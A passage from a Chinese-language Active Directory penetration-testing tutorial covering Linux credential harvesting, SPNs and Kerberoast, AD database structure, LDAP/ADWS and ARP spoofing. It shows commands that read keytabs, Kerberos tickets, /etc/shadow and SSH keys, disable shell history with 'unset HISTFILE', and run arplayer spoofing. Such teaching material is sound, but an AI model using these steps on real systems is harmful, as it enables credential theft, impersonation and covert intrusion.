或者,在渗透测试过程中,您也可以使用其他技术来获取凭据,如设置键盘记录器或伪造SSP模块。

Linux computers

Linux computers discovery

为了发现域中的Linux计算机,您还可以像使用Windows计算机一样,在具有域凭据的情况下使用LDAP查询域数据库。

在其他情况下,这可能会稍微困难一点,因为Linux计算机在默认情况下没有打开任何特征端口;但许多Linux机器会被用作远程管理的服务器,为了管理Linux计算机,通常会使用SSH协议。而SSH服务器服务会侦听端口22,因此,您可以在网络扫描该端口,从而找出其中的Linux机器。

Linux computers connection

为了连接到Linux机器以获得其上的shell,最常见的方法就是使用SSH。有时,我们甚至可以使用Powershell remoting,因为该服务可以通过SSH进行工作。

$ ssh root@debian10 
root@192.168.100.137's password: 
Linux debian10 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May  7 12:55:20 2021 from 192.168.100.137
root@debian10:~#

Linux机器的SSH连接

除了使用用户名和密码之外,您还可以使用从另一台机器上获取的SSH密钥完成连接。

$ ssh -i id_ed25519_foo_key foo@db.contoso.local

使用SSH密钥连接到另一台机器

最后,如果目标Linux计算机是域的一部分,就可以让SSH使用Kerberos身份验证。您可以通过启用GSSAPI身份验证(-o gssapiauthentication=yes),让SSH客户端使用Kerberos身份验证。此外,您还可以通过Pass-The-Ticket攻击来窃取票证,或使用通过Overpass-the-Hash攻击获取的NT哈希值,以及使用通过Pass-The-Key攻击获得的Kerberos密钥来请求相应的票证。您可以使用Rubeus、cerbero或impacket,去请求带有NT哈希值或Kerberos密钥的Kerberos票证。

此外,旧的Linux机器可能在端口23上启用了Telnet,这时必须通过用户名和密码才能连接该机器。

Linux computers credentials

不幸的是,对于攻击者来说,Linux没有提供缓存凭据的lsass进程。但仍有很多地方值得我们去探索……

Linux Kerberos tickets

为了对用户进行身份验证,Linux机器通常会设置一个Kerberos客户端,并将其配置为域计算机帐户。您可以在keytab中找到某些凭据,它们通常位于/etc/krb5.keytab中,或者环境变量KRB5_KTNAME或KRB5_CLIENT_KTNAME指定的值中,或者在/etc/krb5.conf中的Kerberos配置文件中指定。您可以使用klist命令或cerbero来显示其内容,设置包括密钥。

$ klist -k -Ke
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
   1 r2d2@contoso.local (DEPRECATED:arcfour-hmac)  (0xc49a77fafad6d3a9270a8568fa453003)

使用klist命令显示默认keytab文件中的帐户

在这里,有一个配置好的带有NT哈希值的账户(该哈希值用于Kerberos的RC4-HMAC算法)。你可以使用存储的密钥来请求Kerberos票证,以冒充该用户。

此外,当一个域用户在机器中进行身份验证时,会检索Kerberos票证。你可以利用这些票证来冒充域内的用户。通常可以在/tmp目录下找到这些票证,其格式为 krb5cc_%{uid},其中uid是用户UID。然而,票证也有可能存储在Linux内核的密钥中,而不是文件中,但你可以通过使用tickey抓取它们并转换为文件。一旦得到票证文件,就可以用其发动Pass-the-Ticket攻击。

$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

Linux中的票证

为了确定票证存储在Linux机器中的具体位置,您可以查看/etc/krb5.conf中的Kerberos配置文件。

Linux user files

除此之外,您还可以获得存储在包含/etc/shadow文件中的各种凭据,其中包括本地用户密码。然后,可以尝试使用Hashcat破解它们。并且,有时密码是跨机器重用的。但是,您无法藉此发动Pass-The-Hash攻击,因为要想对Linux机器进行远程身份验证,例如使用SSH,通常要求输入相应的密码。

SSH keys

另一种可能的途径,就是搜索SSH私钥,它们通常存储在用户目录的.ssh目录中。该文件的名称通常为id_rsa或id_ed25519。

$ file .ssh/id_ed25519
.ssh/id_ed25519: OpenSSH private key

查找私钥

如果私钥的使用不需要口令,那么就可以用它来连接到域中的其他机器。

$ ssh -i id_ed25519_foo_key foo@db.contoso.local

用SSH密钥连接到另一台机器

此外,如果你能在.ssh目录下找到known_hosts文件,而且运气够好的话,则能在其中找到通过SSH连接的机器的主机名,并且这些机器是通过使用私钥连接的。然而,这个文件中的主机名有时会进行加密,这时,则需要借助hashcat来进行破解。要创建主机名词表,可以查询域中机器的主机名。

Bash history

此外,你还可以在机器用户的命令历史中找到更多关于ssh连接和其他诸如凭据之类的信息,它通常位于用户目录的.bash_history文件中。

顺便说一下,如果你想避免让自己用过的命令被记录下来,可以取消设置HISTFILE环境变量或使用类似的方法。

unset HISTFILE

禁用bash的历史记录功能

Other places to find credentials in Linux

同样,您还可以在计算机中的软件配置文件或脚本中找到连接各种服务(如数据库)和计算机的密码和密钥。

此外,您还可以参阅LaZagne项目,以了解更多可能被窃取凭据的软件。

Services

在一个域中,会有许多机器用来向用户提供服务,因此,Active Directory必须跟踪这些服务,以便用户能够查找这些服务并对其进行身份验证。

Active Directory服务可能对于我们来说可能有些棘手,因为它与计算机服务不同。Windows或Linux机器中的服务可以理解为持续执行任务的后台进程,例如数据库。然而,有些计算机服务没有必要监听端口,例如检查系统可用更新的服务。

另一方面,Active Directory服务是一个标识符,指示计算机上有哪些远程服务已经提供或可以提供(侦听端口)。尽管并不是所有的远程服务都需要在域数据库中注册,但是,需要通过Kerberos对域用户进行身份验证的服务必须注册。

Active Directory中的每个注册服务都提供以下信息:

  • 运行计算机服务的用户。
  • 服务类别,表明是什么类型的服务,例如,Web服务器需要作为www类别进行注册。
  • 服务所在的计算机。
  • (可选)机器上的服务端口。
  • (可选)服务的路径。

为了存储这些信息,每个服务都通过服务主体名称(SPN)进行标识,其格式如下:

service_class/machine_name[:port][/path]

其中,machine_name可以是主机名或FQDN(完全限定域名:连接的主机名和域名)。为了兼容Kerberos而存储这两种格式是很常见的做法。例如:

ldap/DC01
ldap/dc01.contoso.local

LDAP服务SPN

SPN将存储在用户(或计算机)对象中,这样可以用来识别服务用户。

PS C:\> Get-ADComputer ws01-10 -Properties ServicePrincipalName | select -ExpandProperty ServicePrincipalName
TERMSRV/WS01-10
TERMSRV/ws01-10.contoso.local
RestrictedKrbHost/ws01-10.contoso.local
HOST/ws01-10.contoso.local
RestrictedKrbHost/WS01-10
HOST/WS01-10

ws01-10计算机上的各种服务

还需要注意的是,即使服务当前没有运行,它仍然可以在Active Directory数据库中注册。这一点很重要,因为使用Kerberoast可以导致旧服务接管帐户。

总而言之,通过Kerberoast,您可以为域中注册的任何服务请求Kerberos票证。服务的Kerberos票证将有一部分用从密码派生的服务用户机密(可以是NT哈希值或Kerberos密钥)加密。然后,您可以保存票证,并尝试破解它,以恢复用户密码。对于计算机服务,这是不可行的,因为密码太复杂,但对于可能使用弱密码的用户服务来说,这完全是可能的。

Host service

此外,由于默认情况下Windows系统会部署大量服务,因此,它在机器中默认注册一个HOST服务类别。实际上,该HOST类别就是某些服务的别名。

PS C:\Users\Administrator> Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,$((Get-ADDomain).DistinguishedName)" -properties sPNMappings


DistinguishedName : CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=contoso,DC=local
Name              : Directory Service
ObjectClass       : nTDSService
ObjectGUID        : 70502b18-010f-4d33-bbb9-ff85a88c6156
sPNMappings       : {host=alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem,policyage
                    nt,oakley,dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman,netdde,netddedsm,nmagent,p
                    lugplay,protectedstorage,rasman,rpclocator,rpc,rpcss,remoteaccess,rsvp,samss,scardsvr,scesrv,seclog
                    on,scm,dcom,cifs,spooler,snmp,schedule,tapisrv,trksvr,trkwks,ups,time,wins,www,http,w3svc,iisadmin,
                    msdtc}

由HOST确定的服务类别

Database

我们一直在讨论域数据库和存储在其中的一些对象,如用户、组或服务。现在让我们开始介绍关于数据库的更多细节。

首先,数据库的物理位置是位于域控制器中的C:\windows\ntds\ntds.dit文件。每个域控制器都有自己的NTDS文件,为了使数据库保持最新状态,需要在域控制器之间保持同步。

Classes

但是,先让我们来了解一下数据库结构。Active Directory数据库提供了一个定义不同对象类的架构。每个类都有不同的属性,并用于不同的目的。例如,有用户类、计算机类或组类。

此外,类可以是父类的子类,从而继承相关的属性。例如,Computer类是User类的子类,因此,Computer对象可以具有与User对象相同的属性(如SAMAccountName),以及一些新的自定义属性(如OperatingSystem)。

所有类都是顶级类的子类,顶级类定义了基本属性,如ObjectClass或ObjectGuid。

ObjectClass属性包含对象的类列表,即对象的当前类和所有父类。

另一方面,ObjectGUID属性其实就是一个GUID(全局唯一标识符),用于标识数据库的每个对象。但是,不要将其与SID(或SecurityIdentifier)属性混淆,后者是与安全主体(如用户或组)相关的标识符。

同样重要的是要注意,类可以附加到辅助类以获得其属性。但是,辅助类不会出现在ObjectClass属性中。例如,在进行渗透测试时,许多最相关的类(如User和Group)都是附加到Security-Principal辅助类的,该类定义了SAMAccountName和SID属性。

PS C:\> . .\PowerView.ps1
PS C:\> Get-NetComputer dc01 -Properties objectclass | select -ExpandProperty objectclass
top
person
organizationalPerson
user
computer

与计算机对象相关的各种类

Properties

正如我们所看到的,每个类可以有多个特性或属性。通常,属性用于存储字符串值,如Name,或数字,如UserAccountControl。

通常,域的任何用户都可以读取域的任何对象的信息,只有少数信息例外,比如用户密码。

数据库定义了UserPassword和UnicodePwd,但这些属性是不允许读取的,只能写入。当需要修改密码时,可以对这些属性执行写操作,以修改用户密码。

此外,某些属性包含敏感数据,这些数据只应由授权用户检索。为了实现这一点,这些属性在架构中被标记为保密属性(在属性定义的SearchFlags中设置128标志)。因此,为了读取保密属性,除了需要相应的读取权限之外,用户还需要对该特定属性具有CONTROL_ACCESS权限。

PS C:\Users\Administrator> Get-ADObject -LDAPFilter "(searchflags:1.2.840.113556.1.4.803:=128)" -SearchBase "CN=Schema,CN=Configuration,DC=contoso,DC=local" | Select Name

Name
----
ms-TPM-Owner-Information-Temp
ms-Kds-KDF-AlgorithmID
ms-Kds-KDF-Param
ms-Kds-SecretAgreement-AlgorithmID
ms-Kds-SecretAgreement-Param
ms-Kds-PublicKey-Length
ms-Kds-PrivateKey-Length
ms-Kds-RootKeyData
ms-Kds-Version
ms-Kds-DomainID
ms-Kds-UseStartTime
ms-Kds-CreateTime
ms-FVE-RecoveryPassword
ms-FVE-KeyPackage
ms-TPM-OwnerInformation
ms-DS-Transformation-Rules-Compiled
ms-PKI-Credential-Roaming-Tokens
ms-DS-Issuer-Certificates
ms-PKI-RoamingTimeStamp
ms-PKI-DPAPIMasterKeys
ms-PKI-AccountCredentials
UnixUserPassword

获取保密属性

此外,某些属性在写入之前需要满足某些条件。这是通过Validated Writes来控制的,例如编辑帐户的服务。

还有,为了管理一组相关的属性,比如给用户授予某些权限时,也可以使用属性集,而不是必须单独管理个别属性。

Principals

在这里,大家应该熟悉的一个术语,即主体(principal)。在Active Directory上下文中,主体是一个安全实体。最常见的主体是用户、组和计算机。这个术语也被用于其他领域,如Kerberos。

SID

为了便于识别,每个主体都被分配了一个SID(安全标识符)。在Active Directory中,您可以找到三种类型的SID。

Domain SID用于标识域,以及域主体的SID基础(the base for SIDs)。

PS C:\> $(Get-ADDomain).DomainSID.Value
S-1-5-21-1372086773-2238746523-2939299801

获取当前域SID

Principal SID用于标识主体。它由域SID和主体RID(相对标识符)组成。

PS C:\> $(Get-ADUser Anakin).SID.Value
S-1-5-21-1372086773-2238746523-2939299801-1103

用户SID

在本例中,您可以看到用户SID是域SID加上1103 RID。

最后,在Active Directory中,有许多Well-known SID,用于在特殊情况下识别抽象实体。以下是最常见的: * * S-1-5-11 -> Authenticated Users:登录系统的用户属于这个组。 * S-1-5-10 -> Principal Self:在安全描述符中使用,用于引用对象本身。

PS C:\> . .\PowerView.ps1
PS C:\> $(Get-DomainObjectAcl Anakin)[41]


ObjectDN               : CN=Anakin,CN=Users,DC=contoso,DC=local
ObjectSID              : S-1-5-21-1372086773-2238746523-2939299801-1103
ActiveDirectoryRights  : WriteProperty
ObjectAceFlags         : ObjectAceTypePresent, InheritedObjectAceTypePresent
ObjectAceType          : ea1b7b93-5e48-46d5-bc6c-4df4fda78a35
InheritedObjectAceType : bf967a86-0de6-11d0-a285-00aa003049e2
BinaryLength           : 56
AceQualifier           : AccessAllowed
IsCallback             : False
OpaqueLength           : 0
AccessMask             : 32
SecurityIdentifier     : S-1-5-10
AceType                : AccessAllowedObject
AceFlags               : ContainerInherit, InheritOnly, Inherited
IsInherited            : True
InheritanceFlags       : ContainerInherit
PropagationFlags       : InheritOnly
AuditFlags             : None

用户安全描述符中的SID(S-1-5-10)

此外,还有一些Well-known SID用于为域/林的内置主体定义架构(schema)。例如:

Administrator -> S-1-5-21-domain-500
Domain Admins -> S-1-5-21-domain-512
Domain Users -> S-1-5-21-domain-513
Enterprise Admins -> S-1-5-21-root domain-519
PS C:\> $(Get-ADUser Administrator).SID.Value
S-1-5-21-1372086773-2238746523-2939299801-500

Administrator SID

Distinguished Names

另外,理解DirectionishedName属性也很重要。DirectionishedName类似于一个路径,指示对象在数据库层次结构中的位置(类似于文件路径)。

PS C:\> Get-ADComputer dc01 | select -ExpandProperty DistinguishedName
CN=DC01,OU=Domain Controllers,DC=contoso,DC=local

对象的DirectionishedName

它经常用于标识数据库中的对象和引用数据库中的其他对象。例如,一个组的成员,就可以通过其DistinguishedName进行引用。

PS C:\> Get-ADGroup "Domain Admins" -Properties member | select -ExpandProperty Member
CN=leia,CN=Users,DC=contoso,DC=local
CN=Administrator,CN=Users,DC=contoso,DC=local

列出组成员

Distinguished Name( Distinguished Name,DN)由以下几个部分组成:

Domain Component (DC)

它通常用来标识数据库的域的各个部分。例如,对于it.domain.com,DC部分将是DC=it,DC=domain,DC=com。

Organizational Unit (OU)

标识用于对多个相关对象进行分组的容器。值得注意的是,虽然OU跟组有点像,但是它们的用途是不同的。OU的用途是组织数据库中的对象,而安全组则是用于组织域/林中的权限。

有时,某些组织会以自动的方式将OU直接映射到安全组(security groups)。这些组称为卷影组(shadow groups)。

通过OU组织对象是非常有用的一种方法,因为您可以将GPO应用于影响其所有对象的OU。但是,这种做法并不适用于组成员。

Common Name

标识对象的名称。有时您会在一条路径上看到多个CN,因为有些对象还充当容器。例如,在cn=administrator,cn=Users,dc=contoso,dc=local中,cn=Users标识用户容器。

Partitions

除了OU和容器之外,数据库还按分区进行划分。每个数据库都有以下分区:

  • Domain:存储域对象。
  • Configuration:存储域的配置,例如主机服务别名或前面介绍的Well-known SID。
  • Schema:存储数据库使用的类和属性的定义。
  • Domain DNS Zones:存储域和子域的DNS记录。
  • Forest DNS Zones:存储林其余部分的DNS记录,包括父域。
PS C:\> Import-Module ActiveDirectory
PS C:\> cd AD:
PS AD:\> ls

Name                 ObjectClass          DistinguishedName
----                 -----------          -----------------
contoso              domainDNS            DC=contoso,DC=local
Configuration        configuration        CN=Configuration,DC=contoso,DC=local
Schema               dMD                  CN=Schema,CN=Configuration,DC=contoso,DC=local
DomainDnsZones       domainDNS            DC=DomainDnsZones,DC=contoso,DC=local
ForestDnsZones       domainDNS            DC=ForestDnsZones,DC=contoso,DC=local

列出数据库分区

您需要加载ActiveDirectory Powershell模块,以便使用Powershell访问ad:驱动器。

通常您只会用到域分区,但是如果您需要域分区之外的其他数据,了解数据库是如何组织的是很重要的。

工具将在域分区中进行搜索,因此,如果要搜索的对象在其他发起,则需要将该分区DistinguishedName指定为搜索库(search base)。

PS C:\> Get-ADObject -LDAPFilter "(objectclass=site)" -SearchBase "CN=Configuration,$((Get-ADDomain).DistinguishedName)" | select name

name
----
Default-First-Site-Name
mysite

在配置分区中搜索站点

例如,像adidnsdump或dns-dump这样的工具使用DNS Zones分区来检索域的所有DNS信息。

Global Catalog

域数据库会存储当前域的所有对象,但为了加快在林中其他域中搜索对象的速度,一些域控制器还会存储其他域的对象子集。

这些域控制器可以称为全局编录(Global Catalogs),并且包含额外的只读分区,其中存储有其他域的对象,这些域只存储属性的子集,通常是最常用的属性。例如,如果只需要查询其他域中用户的名称,则可以直接通过全局编录进行查找,而无需查询其他域域控制器。

PS C:\> Get-ADForest |select -ExpandProperty GlobalCatalogs
dc01.poke.mon
itdc01.it.poke.mon

列出域的全局编录

如果要查阅全局编录,则需要为连接指定一个不同的端口,因为全局编录服务会侦听端口3268(LDAP)。

PS C:\> Get-ADUser -Server "poke.mon:3268" -Filter * | select DistinguishedName

DistinguishedName
-----------------
CN=Administrator,CN=Users,DC=poke,DC=mon
CN=Guest,CN=Users,DC=poke,DC=mon
CN=krbtgt,CN=Users,DC=poke,DC=mon
CN=CONTOSO$,CN=Users,DC=poke,DC=mon
CN=pikachu,CN=Users,DC=poke,DC=mon
CN=ITPOKEMON$,CN=Users,DC=poke,DC=mon
CN=Administrator,CN=Users,DC=it,DC=poke,DC=mon
CN=Guest,CN=Users,DC=it,DC=poke,DC=mon
CN=krbtgt,CN=Users,DC=it,DC=poke,DC=mon
CN=POKEMON$,CN=Users,DC=it,DC=poke,DC=mon
CN=porygon,CN=Users,DC=it,DC=poke,DC=mon

在全局编录中进行搜索

How to query the database?

为了与数据库数据交互,域控制器为您提供了多种方法,虽然这些方法所支持的协议/服务各部不同,但是可以进行相互转换。

LDAP

第一个应该提到的就是LDAP(轻量级目录访问协议)协议。使用LDAP协议,可以访问域数据库以及全局编录。

                      .-------------
                      |
                    .---
           .--TCP-->| 389 LDAP
           |        '---
           |          |
           |        .---
           |--SSL-->| 636 LDAPS
 .------.  |        '---
 | LDAP |--|          |
 '------'  |        .---
           |--TCP-->| 3268 LDAP Global Catalog
           |        '---
           |          |
           |        .---
           '--SSL-->| 3269 LDAPS Global Catalog 
                    '---
                      |
                      '-------------

LDAP端口

LDAP定义了一种查询语法,可用来筛选要检索/编辑的数据库对象。实际上,可以根据对象的属性来筛选对象。例如,要检索域中含有成员的组,可以使用以下查询(&(objectsclass=group)(members=*))。

除了筛选器之外,LDAP还允许您指定要为每个对象检索的属性,例如名称。对于通过Active Directory检索信息的具体示例,请参阅LDAP wiki。

~$ ldapsearch -H ldap://192.168.100.2 -x -LLL -W -D "anakin@contoso.local" -b "dc=contoso,dc=local" "(&(objectclass=group)(member=*))" "samaccountname"
Enter LDAP Password: 
dn: CN=Administrators,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Administrators

dn: CN=Users,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Users

dn: CN=Guests,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Guests

dn: CN=Remote Desktop Users,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Remote Desktop Users

dn: CN=IIS_IUSRS,CN=Builtin,DC=contoso,DC=local
sAMAccountName: IIS_IUSRS

dn: CN=Schema Admins,CN=Users,DC=contoso,DC=local
sAMAccountName: Schema Admins

dn: CN=Enterprise Admins,CN=Users,DC=contoso,DC=local
sAMAccountName: Enterprise Admins

dn: CN=Domain Admins,CN=Users,DC=contoso,DC=local
sAMAccountName: Domain Admins

dn: CN=Group Policy Creator Owners,CN=Users,DC=contoso,DC=local
sAMAccountName: Group Policy Creator Owners

dn: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Pre-Windows 2000 Compatible Access

dn: CN=Windows Authorization Access Group,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Windows Authorization Access Group

dn: CN=Denied RODC Password Replication Group,CN=Users,DC=contoso,DC=local
sAMAccountName: Denied RODC Password Replication Group

# refldap://ForestDnsZones.contoso.local/DC=ForestDnsZones,DC=contoso,DC=local

# refldap://DomainDnsZones.contoso.local/DC=DomainDnsZones,DC=contoso,DC=local

# refldap://contoso.local/CN=Configuration,DC=contoso,DC=local

具有成员的域组

利用LDAP,我们可以检索Active Directory数据库的几乎所有对象和属性,但是那些高度敏感的属性除外,如用户凭据。

实际上,LDAP已经被许多Windows工具所使用,如Powerview或AdExplorer。如果您没有这些工具,还可以使用Powershell通过.NET来查询LDAP。

另一方面,在Linux中,您可以使用ldapsearch和ldapmodify工具完成上述操作。

当您需要从Active Directory中检索信息时,例如枚举用户或诸如此类的事情,您首先想到的应该是LDAP。但是请记住,LDAP还允许您修改对象,所以,如果您需要将用户添加到组或类似的东西中,那么,它就是最佳之选。

ADWS

作为LDAP的替代方案,在Windows Server 2008 R2中,Microsoft引入了ADWS(Active Directory Web Services),这是一种基于SOAP消息来查询和处理域对象的协议。

它与LDAP筛选器是保持兼容的,因此,可以用来执行非常特定的查询,并只检索所需的属性。实际上,当使用ADWS时,DC将在内部执行LDAP请求以检索结果。

                              .---------------------------------------
                              |          Domain Controller
                            ,---
                            | 389 (Domain) <------------.
                            '---                        |    .------.
                              |                         |----| LDAP |
                            .---                        |    '------'
                            | 3268 (Global Catalog) <---'       |
                            '---                                ^
                              |                                 |
 .------.     .------.      .---                                |
 | ADWS |>--->| SOAP |>---->| 9389  >----------------->---------'
 '------'     '------'      '---
                              |
                              '---------------------------------------

ADWS相关端口和协议

ADWS是ActiveDirectory Powershell模块所使用的协议。

PS C:\Users\Administrator> Get-ADUser -Filter * | select name

name
----
Administrator
Guest
krbtgt
Anakin
Han
POKEMON$
leia
luke

利用ADWS列出用户

Other protocols

除了LDAP和ADWS之外,还有许多其他协议可用来从数据库中检索信息。虽然其他的这些协议,一般只与数据库的子集一起工作。

DNS协议主要用于解析计算机的IP地址,也可以从数据库中检索其信息。

SAMR(Security Account Manager Remote)协议可以用来查询和编辑用户和组的基本信息。它是由诸如net user/domain之类的命令使用的。

DRSR(Directory Replication Service Remote)协议是域控制器用来同步数据库的协议。通过此协议,甚至可以检索用户凭据(如果您有足够的权限的话),这样的话,就可以将这些用户凭据用于执行dcsync攻击。

Kerberos身份验证协议还可以使用数据库根据请求的服务来生成所需的票证。此外,kpasswd服务(端口464)还被Kerberos用于更改用户密码。

计算机使用Netlogon协议对域用户进行身份验证。例如,NTLM身份验证就是使用的该协议。此外,该协议还容易受到Zerologon漏洞的影响。

实际上,除此之外还有许多与数据库交互的其他协议,这里就不再列出了。这里讲了这么多,目的只有一个,就是让您知道可以通过多种不同的方法来访问同一数据。

Security

现在,我们已经对Active Directory的组成元素有了更深入的了解,接下来,让我们讨论与Active Directory中的安全性更相关的主题。实际上,安全性是以下列支柱为基础的:

  • 地址解析:用户和机器解析另一台计算机的地址以便与它们建立连接的能力。如果攻击者可以控制地址解析,那么她就可以执行中间人攻击,或设法让用户将其凭据发送到攻击者控制的计算机。
  • 身份验证:识别正在访问服务计算机的用户身份的能力。如果攻击者可以获得用户凭据或绕过身份验证,那么她将能够将自己标识为用户并冒充用户执行操作。
  • 授权:识别用户可以执行哪些操作的能力。如果用户权限配置不当,她就能执行特权操作。

下面,让我们开始了解这些安全基石,以及它们是如何在Active Directory中实现的。

Address resolution

从安全的角度来看,地址的解析是相当重要的,因为如果可以欺骗用户/程序使其连接到一个错误的机器的话,就可以发动各种攻击,如:

中间人攻击(Person-in-The-Middle,PitM):这允许攻击者拦截受害者的通信,并读取/操纵受害者发送或接收的信息(如果没有进行正确加密/签名的话)。
NTLM中继:攻击者可以利用受害者基于NTLM的身份验证,并将其重定向到所需的服务器,以便获得相应的访问权限。
NTLM破解:即使不能中继NTLM身份验证,也可以尝试破解NTLM哈希值,从而恢复用户密码。

但是,哪些地址需要被解析?机器会用到三种类型的地址:

  • MAC地址: MAC(Media Control Access,MAC)是能够唯一标识世界上每台计算机(具体来说,是每块计算机网卡)的地址。MAC地址用于在链路层发送以太网协议信息,从而实现同一网络中的计算机进行通信。每个网卡都有一个相关的唯一的MAC地址,用于在网络中识别该网卡。通常情况下,MAC地址保持不变,但仍然允许对其进行修改。一个MAC地址由6个字节组成,如01:df:67:89:a4:87,其中前3个字节表示MAC供应商,后3个字节是该供应商生产的每块网卡的唯一标识。
  • IP地址:IP地址是互联网层中的IP协议所使用的地址,它允许不同网络中的计算机之间进行通信。与MAC地址不同,IP不是在网卡中配置的,而是需要由外部实体通过使用DHCP等协议进行设置,或通过设置静态IP地址来进行设置。因此,一台计算机可以随时改变其IP地址。在穿越网络时,IP地址需要被映射到MAC地址,以允许在路由数据包的不同网络内进行通信。为此,需要使用ARP协议。目前,已经有两个版本的IP地址:IPv4,由4个字节(32位)组成,如23.78.167.99;以及IPv6,由16个字节组成,如2001:db8:85a3:8d3:1319:8a2e:370:7348。通常情况下,我们使用的是IPv4。
  • 主机名:由于IP地址难以记忆,所以,人们通常会给计算机起一个更适合人类记忆的名字,例如pe-machine——这就是所谓的主机名。然而,由于计算机需要通过IP地址进行通信,因此,需要通过DNS、NetBIOS、LLMNR或mDNS等协议将主机名与IP地址关联起来。

因此,以下过程对于计算机是否能够找到正确的地址进行通信是至关重要的:

主机名-IP地址解析

计算机需要能够将计算机的主机名映射为相应的IP地址。为此,有两种策略:

  • 向中央服务器请求主机名解析,这是DNS使用的方法。如果攻击者可以变身为中央服务器,就可以将主机名映射为指定的地址。
  • 向其他机器发送带有主机名的广播请求,让它们检查自己的主机名与给定主机名是否相符。NetBIOS、LLMNR或mDNS等协议使用这种方法,网络中的任何计算机都可以响应请求,因此攻击者可以侦听等待请求并响应请求,将自己标识为目标计算机。

IP-MAC解析

一旦IP被识别,计算机需要知道该IP属于哪台计算机(网卡),因此,它们将查询该地址对应的MAC。为此,它们可以使用ARP协议,该协议通过向内部网络发送广播请求,并等待正确的主机来识别自己。攻击者可以对该请求作出回应,谎称自己就是接收连接的目标。

IP配置

为了使用IP,需要找到能够解析IP地址的中央服务器,这时就需要对计算机进行相应的配置。这种配置可以为每台计算机手动完成,也可以通过使用像DHCP这样的协议来完成,即由服务器向网络中的计算机提供配置选项。然而,由于计算机在与DHCP服务器交互时还没有进行任何配置,所以,它们需要通过发送广播请求来“盲目地”寻找,任何其他机器都可以响应。因此,攻击者有机会通过响应这些请求,向客户提供虚假的、指向由攻击者控制的DNS服务器的配置参数,从而误导它们进行错误的配置。

下面,让我们看看如何在Active Directory和其他计算机网络中攻击地址解析过程。

ARP

ARP(Address Resolution Protocol,ARP)是网络中广泛使用的一种链路层协议,用于计算机的IP地址和MAC(Media Access Control)地址之间的映射。

为此,主机向本地网络发送一个以太网广播ARP请求,查询具有目标IP地址的ARP请求。然后,具有该IP的计算机应该给予响应,并给出对应的MAC地址。最后,主机就可以将应用程序包发送到该以太网地址了。

                                                   .---.
                                                  /   /|
                                                 .---. |
                                       .-------> |   | '
                                       |         |   |/ 
                                       |         '---'  
   .---.                               |
  /   /|                               |           .---.
 .---. |    1) Who is 192.168.1.5?     |          /   /|
 |   | ' >-------->>-------------------.-------> .---. |
 |   |/                                |         |   | '
 '---'   <---------.                   |         |   |/ 
                   |                   |         '---'  
                   |                   |
                   |                   |           .---.
                   |                   |          /   /|
                   |                   '-------> .---. |
                   |                             |   | '
                   '-<<------------------------< |   |/ 
                     2)  I am 192.168.1.5        '---'  
                      (MAC 01:02:03:04:05:06)

ARP解析

ARP spoof

尽管响应ARP请求的通常是正确的计算机,但实际上任何计算机都能够响应该请求。因此,攻击者可以通过响应ARP请求,来冒充其他计算机。

但是,计算机不会在需要与目标通信时才执行ARP请求,而是将以前的响应保存在本地ARP缓存中。

$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.101            ether   e4:fd:a1:09:bf:a1   C                     wlp1s0
192.168.1.1              ether   00:e0:4c:d8:ca:89   C                     wlp1s0

显示ARP缓存

通过保存ARP缓存,计算机减少了需要执行的请求的数量。但是,在不执行请求的情况下,计算机也会侦听ARP响应,看看是否发生了什么变化,因此,攻击者可以定期发送响应,以给受害ARP缓存投毒。

        1)  I am 192.168.1.1           1)    I am 192.168.1.101    
         (MAC de:ad:be:ef:13:37)        (MAC de:ad:be:ef:13:37)
     .--------------<<<------------. .------------->>>---------------.
     |                             | |                               |
     v                             ^ ^                               v
   .---.   2) To 192.168.1.1      .---.   3) To 192.168.1.1        .---.
  /   /| -------->>>--------->   /   /| -------->>>------------>  /   /|
 .---. |                        .---. |                          .---. |
 |   | '   5) To 192.168.1.101  |   | '   4) To 192.168.1.101    |   | '
 |   |/  <-------<<<----------  |   |/  <-------<<<------------- |   |/ 
 '---'                          '---'                            '---'  
192.168.1.101                   192.168.1.137                   192.168.1.1
e4:fd:a1:09:bf:a1            de:ad:be:ef:13:37              00:e0:4c:d8:ca:89

ARP欺骗攻击

您可以使用ettercap、bettercap、arpspoof或arplayer等工具执行ARP欺骗/投毒攻击。

$ ./arplayer spoof -I wlp1s0 -vvv -F -b 192.168.1.101 192.168.1.1
Spoofing - telling 192.168.1.101 (e4:fd:a1:09:bf:a1) that 192.168.1.1 is 00:e0:4c:d8:ca:89 (192.168.1.107) every 1.0 seconds (until Ctrl-C)
INFO - 192.168.1.1-de:ad:be:ef:13:37 -> 192.168.1.101-e4:fd:a1:09:bf:a1
INFO - 192.168.1.101-de:ad:be:ef:13:37 -> 192.168.1.1-00:e0:4c:d8:ca:89
INFO - 192.168.1.1-de:ad:be:ef:13:37 -> 192.168.1.101-e4:fd:a1:09:bf:a1
INFO - 192.168.1.101-de:ad:be:ef:13:37 -> 192.168.1.1-00:e0:4c:d8:ca:89
INFO - 192.168.1.1-de:ad:be:ef:13:37 -> 192.168.1.101-e4:fd:a1:09:bf:a1
INFO - 192.168.1.101-de:ad:be:ef:13:37 -> 192.168.1.1-00:e0:4c:d8:ca:89

利用arplayer发动ARP欺骗攻击

ARP Scan

此外,我们还可以利用ARP请求网络中的所有IP,以便检查ARP响应并发现哪些主机是活跃的。这种技术被称为ARP扫描。

$ ./arplayer scan -I wlp1s0 -w 10 -t 1000
192.168.1.1 00:e0:4c:d8:ca:89
192.168.1.101 e4:fd:a1:09:bf:a1

ARP扫描

DHCP

